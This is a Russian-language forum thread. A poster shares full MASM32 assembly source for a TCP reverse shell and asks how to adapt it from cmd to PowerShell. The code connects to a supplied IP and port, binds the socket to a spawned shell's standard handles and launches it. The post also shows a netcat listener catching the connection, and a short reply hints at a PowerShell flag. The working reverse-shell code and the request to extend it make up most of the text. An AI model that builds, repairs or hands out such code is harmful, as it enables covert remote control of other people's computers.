Вопрос : Как по примеру tcp Cmd shell написать tcp PowerShell_shell ? То есть что нужно в коде ниже поправить, что-бы его получить Код (Text): ; ; Client.asm ; .386 .model flat, stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\kernel32.inc include \masm32\include\ws2_32.inc include \masm32\include\masm32.inc includelib \masm32\lib\ws2_32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\masm32.lib .data cmd db "powershell",0 ;;; <<<<<===================== powershell ! .data? sinfo STARTUPINFO<> pi PROCESS_INFORMATION<> sin sockaddr_in<> WSAD WSADATA<> Wsocket dd ? IP db 50 dup (?) port db 8 dup (?) .code start: invoke GetCL,1,addr IP invoke StdOut,addr IP invoke GetCL,2,addr port invoke StdOut,addr port invoke WSAStartup, 101h, addr WSAD invoke WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0 mov Wsocket, eax mov sin.sin_family, 2 invoke atodw, addr port invoke htons, eax mov sin.sin_port, ax invoke gethostbyname, addr IP mov eax, [eax+12] mov eax, [eax] mov eax, [eax] mov sin.sin_addr, eax mov eax,Wsocket mov sinfo.hStdInput,eax mov sinfo.hStdOutput,eax mov sinfo.hStdError,eax mov sinfo.cb,sizeof STARTUPINFO mov sinfo.dwFlags,STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES invoke connect, Wsocket, addr sin , sizeof(sockaddr_in) invoke CreateProcess,NULL,addr cmd,NULL,NULL,TRUE,8000040h,NULL,NULL,addr sinfo,addr pi ret end start ... хочется получить управление из под ком. строки powershell. Запускаю на стороне клиента (его IP=192.168.0.3): Код (Text): Client.exe 192.168.0.2 4444 [Enter] ... На сервере (его IP=192.168.0.2): Код (Text): C:\>nc -lp 4444 Windows PowerShell (C) Корпорация Майкрософт, 2009. Все права защищены. echo -----1111 [тут ничего не происходит :(( ] ... но тут ничего не передается и не приходит в ответ. Хотя если вместо powershell --- ставим cmd --- сразу ВСЕ работает! Почему - не ясно. Подскажите как получить Powershell Shell удаленный. Спасибо.
Ну на вскидку. Пауершелл не принимает данные через стдин. Вероятно можно его запустить с каким-то параметром, чтобы он это делал, погугли.